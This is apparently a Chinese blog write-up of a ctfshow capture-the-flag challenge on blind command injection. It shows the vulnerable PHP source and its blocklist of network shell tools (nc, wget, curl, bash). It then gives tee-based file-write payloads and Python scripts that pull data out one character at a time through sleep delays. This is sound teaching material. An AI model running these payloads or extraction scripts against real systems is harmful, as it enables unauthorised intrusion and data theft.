命令注入之盲注

命令注入之盲注

这实际上是有2道题,但是源码一样,权限不一样。

源码:

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

首先可以看到执行命令的函数是exec(),这个函数并不会将命令执行后的结果回显出来,所以是一个无回显的命令注入,但是这里还ban了很多命令和符号,导致了我们想通过DNSLog和HTTP外带以及反弹shell都无法实现。

有写入权限

在有写入权限的情况下,事情就变得简单了,我们可以利用tee命令

tee [OPTION]... [FILE]...

从标准输入读取数据并重定向到标准输出和文件。

example:

tee file1 file2      //将输入的内容覆盖到这两个文件里面
ls|tee 1.txt          //将ls命令的输出显示并保存到1.txt文件中

我们可以通过这个命令将执行之后的结果写入到文件中,然后再访问这个文件即可。

payload:

?c=ls /|tee 1.txt        //访问1.txt,发现有f149_15_h3r3文件
?c=cat /f149_15_h3r3|tee 2.txt        //再访问2.txt即可

没有写入权限

没有写入权限就比较麻烦了,只能通过sleep命令根据执行时间来进行盲注。

  • 首先我们可以通过sleep命令根据返回的时间来判断是否存在命令执行漏洞。
?c=sleep 5

可以发现网页等待了5秒才返回结果。

  • 利用shell编程的if判断语句配合awk以及cut命令来获取flag
  • awk逐行获取数据
  root@ubuntu:/# cat flag 
  hello
  Flag{success!!}
  root@ubuntu:/# cat flag | awk NR==1
  hello
  root@ubuntu:/# cat flag | awk NR==2
  Flag{success!!}
  • cut命令逐列获取单个字符
  root@ubuntu:/# cat flag | awk NR==2 | cut -c 1
  F
  root@ubuntu:/# cat flag | awk NR==2 | cut -c 2
  l
  root@ubuntu:/# cat flag | awk NR==2 | cut -c 3
  a
  • 利用if语句来判断命令是否执行
  root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then echo "right!";fi
  right!
  root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 2) == l ];then echo "right!";fi
  right!
  root@ubuntu:/# if [ $(cat flag | awk NR==2 | cut -c 1) == F ];then sleep 2;fi
  • 用命令ls \查看根目录来获取flag文件名
import requests
url = "xxxxx"
result = ""
for i in range(1,5):
    for j in range(1,15):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "
  • 发现一个叫f149_15_h3r3的文件,改以下脚本cat一下
import requests
url = "http://b5337572-6281-43cd-8514-17eeabda6e3f.challenge.ctf.show:8080/"
result = ""
for i in range(1,5):
    for j in range(1,60):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            payload = "?c=" + f"if [ `cat /f149_15_h3r3 | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

参考资料

ctfshow-Web1000题系列修炼(一)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇